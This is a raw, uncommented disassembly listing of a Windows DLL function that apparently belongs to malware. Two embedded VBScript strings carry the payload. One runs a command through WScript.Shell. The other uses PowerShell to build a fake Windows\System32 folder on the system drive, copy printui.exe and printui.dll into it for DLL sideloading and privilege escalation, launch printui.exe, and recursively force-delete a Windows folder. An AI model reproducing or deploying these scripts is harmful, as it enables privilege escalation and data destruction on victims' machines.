call fcn.1800052d0
nop
lea rcx, [rsp + 0x90]
call fcn.1800052d0
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], Ordinal_113
lea r8, [rsp + 0x220]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x320]
call fcn.180024f80
nop
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x140]
call fcn.1800040f0
nop
lea rcx, [rsp + 0x450]
call fcn.180023490
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x450]
call fcn.1800241d0
nop
cmp qword [rsp + 0x4d8], 0
je 0x1800560c0
lea rcx, [rsp + 0x140]
call fcn.1800054d0
mov r8, qword [rsp + 0x150]
mov rdx, rax
lea rcx, [rsp + 0x450]
call fcn.180024220
lea rcx, [rsp + 0x450]
call fcn.180024130
lea rdx, [rsp + 0x1e0]
call fcn.18005a7b0
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x120]
call fcn.1800040f0
nop
lea rcx, [rsp + 0x560]
call fcn.180023490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x560]
call fcn.1800241d0
nop
cmp qword [rsp + 0x5e8], 0
je 0x180056136
lea rcx, [rsp + 0x120]
call fcn.1800054d0
mov r8, qword [rsp + 0x130]
mov rdx, rax
lea rcx, [rsp + 0x560]
call fcn.180024220
lea rcx, [rsp + 0x560]
call fcn.180024130
mov edx, dword [r14 + 0x40]
mov rcx, r15
call fcn.1800548d0
nop
lea rcx, [rsp + 0x560]
call fcn.1800233f0
nop
lea rcx, [rsp + 0x120]
call fcn.1800054e0
nop
lea rcx, [rsp + 0x450]
call fcn.1800233f0
nop
lea rcx, [rsp + 0x140]
call fcn.1800054e0
nop
lea rcx, [rsp + 0x320]
call fcn.1800052d0
nop
jmp 0x1800562e6
cmp eax, 1
jne 0x1800562f3
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x320]
call fcn.180044150
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180005340
nop
lea rdx, [rsp + 0xe0]
mov rcx, rax
call fcn.18001f420
nop
lea rdx, [rsp + 0x90]
mov rcx, rax
call fcn.18003d270
nop
lea rcx, str.Dim_objShell__objFSO__strSystemDrive_r_nSet_objFSO__CreateObject__Scripting.FileSystemObject___r_nstrSystemDrive__CreateObject__WScript.Shell__.ExpandEnvironmentStrings___SystemDrive____r_n_r_nSet_objShell__WScript.CreateObject__WScript.Shell___r_nobjShell.Run__explorer_..___r_n_r_nIf_Not_objFSO.FolderExists_strSystemDrive___Windows_System32010101___Then_r_n_tIf_objFSO.FolderExists_strSystemDrive___Windows_System32___Then_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_n_r_n_tobjShell.Run__powershell_mkdir_____strSystemDrive___Windows_System32__Start_Sleep__Seconds_1__mkdir____strSystemDrive___Windows_System32010101__Copy_Item____strSystemDrive___WindowsSystem32printui.exe____strSystemDrive___Windows_System32printui.exe__Force__Start_Sleep__Seconds_1__Copy_Item_____strSystemDrive___Windows_System32printui.dll__Force__Start_Sleep__Seconds_5____0__True_r_n_r_n_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.exe___Then_r_n_t_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.dll___Then_r_n_t_t_tobjShell.Run__powershell_mkdir____strSystemDrive___Windows_System32_shrd_b___Start_Sleep__Seconds_3__Start_Process__FilePath____strSystemDrive__Windows_System32printui.exe____0__True_r_n_t_tElse_r_n_t_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_t_tEnd_If_r_n_tElse_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_nEnd_If_r_n_r_nSet_objShell__Nothing_r_nSet_objFSO__Nothing
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], 0x66a
lea r9, [rsp + 0x2e0]
mov r8, rax
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x300]
call fcn.1800510c0
nop
lea rcx, [rsp + 0x90]
call fcn.1800052d0
nop
lea rcx, [rsp + 0xe0]
call fcn.1800052d0
nop
lea rcx, [rsp + 0xc0]
call fcn.1800052d0
nop
lea rcx, [rsp + 0x320]
call fcn.1800052d0
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x120]
call fcn.1800040f0
nop
lea rcx, [rsp + 0x450]
call fcn.180023490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x450]
call fcn.1800241d0
nop
cmp qword [rsp + 0x4d8], 0
je 0x1800562ca
lea rcx, [rsp + 0x120]
call fcn.1800054d0
mov r8, qword [rsp + 0x130]
mov rdx, rax
lea rcx, [rsp + 0x450]
call fcn.180024220
lea rcx, [rsp + 0x450]
call fcn.180024130
nop
lea rcx, [rsp + 0x450]
call fcn.1800233f0
nop
lea rcx, [rsp + 0x120]
call fcn.1800054e0
nop
lea rcx, [rsp + 0x300]
call fcn.1800052d0
lea r8, [rsp + 0x280]
mov rdx, r14
mov rcx, r15
call fcn.180059d80
lea rdx, [r15 + 0x80]
lea rcx, [rsp + 0x2a0]
call fcn.1800040f0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x340]
call fcn.1800aba60
lea rdx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0x340]
call fcn.1800249e0
mov rax, qword [rsp + 0x340]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x340], rdi
mov rax, qword [rsp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x33c], edx
cmp qword [rsp + 0x3c8], 0
je 0x1800563c9
lea rcx, [rsp + 0x2a0]
call fcn.1800054d0
mov r8, qword [rsp + 0x2b0]
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.180024220
lea rcx, [rsp + 0x340]
call fcn.180024130
nop
mov rax, qword [rsp + 0x340]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x340], rdi
mov rax, qword [rsp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x33c], edx
lea rcx, [rsp + 0x348]
call fcn.180024080
mov rax, qword [rsp + 0x340]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x340], rax
mov rax, qword [rsp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x33c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3e8], rax
lea rcx, [rsp + 0x3e8]
call fcn.180079724
nop
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 0xf
jbe 0x180056494
inc rdx
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005648f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569b9
call fcn.18007bb20
movdqa xmm0, xmmword [0x1801ba490]
movdqu xmmword [rsp + 0x2b0], xmm0
mov byte [rsp + 0x2a0], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 7
jbe 0x1800564f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800564f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569bf
call fcn.18007bb20
movdqu xmmword [rsp + 0x190], xmm6
mov word [rsp + 0x180], bx
mov rdx, qword [rsp + 0x238]
cmp rdx, 7
jbe 0x18005654e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056549
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569c5
call fcn.18007bb20
movdqu xmmword [rsp + 0x230], xmm6
mov word [rsp + 0x220], bx
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 7
jbe 0x1800565a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800565a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569cb
call fcn.18007bb20
movdqu xmmword [rsp + 0x2f0], xmm6
mov word [rsp + 0x2e0], bx
mov rdx, qword [rsp + 0x258]
cmp rdx, 7
jbe 0x180056600
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800565fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569d1
call fcn.18007bb20
movdqu xmmword [rsp + 0x250], xmm6
mov word [rsp + 0x240], bx
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 7
jbe 0x18005665a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056654
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569d7
call fcn.18007bb20
nop
jmp 0x180056666
mov rdx, qword [rsp + 0x218]
cmp rdx, 7
jbe 0x1800566ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800566a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569dd
call fcn.18007bb20
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], 7
mov word [rsp + 0x200], bx
mov rdx, qword [rsp + 0x278]
cmp rdx, 7
jbe 0x180056712
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005670d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569e3
call fcn.18007bb20
movdqu xmmword [rsp + 0x270], xmm6
mov word [rsp + 0x260], bx
mov rdx, qword [rsp + 0x298]
cmp rdx, 7
jbe 0x18005676b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056766
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569e9
call fcn.18007bb20
movdqu xmmword [rsp + 0x290], xmm6
mov word [rsp + 0x280], bx
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 7
jbe 0x1800567c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800567bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569ef
call fcn.18007bb20
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], 7
mov word [rsp + 0x1e0], bx
mov r8, qword [rsp + 0x1b8]
cmp r8, 7
jbe 0x180056803
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x1a0]
call fcn.180005f20
mov qword [rsp + 0x1b0], rbx
mov qword [rsp + 0x1b8], 7
mov word [rsp + 0x1a0], bx
lea rcx, [rsp + 0x1c0]
call fcn.1800052d0
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180056875
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569f5
call fcn.18007bb20
mov rcx, qword [rsp + 0x670]
xor rcx, rsp
call fcn.18007bb00
mov rbx, qword [rsp + 0x6d0]
movaps xmm6, xmmword [rsp + 0x680]
add rsp, 0x690
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x100]
lea rcx, [0x1800e3338]
call fcn.18001fea0
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x100]
lea rcx, [0x1800e3338]
call fcn.18001fea0
nop
call fcn.18008a6e4
nop
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x100]
lea rcx, [0x1800e3338]
call fcn.18001fea0
nop
shr rdx, 0x20
lea r8, [rsp + 0x100]
lea rcx, str.create_directory
call fcn.18003d900
nop
call fcn.18008a6e4
int3
call fcn.18008a6e4
nop
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x100]
lea rcx, [0x1800e3338]
call fcn.18001fea0
nop
shr rdx, 0x20
lea r9, [rsp + 0x120]
lea r8, [rsp + 0x100]
lea rcx, str.copy_file
call fcn.180053750
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
int3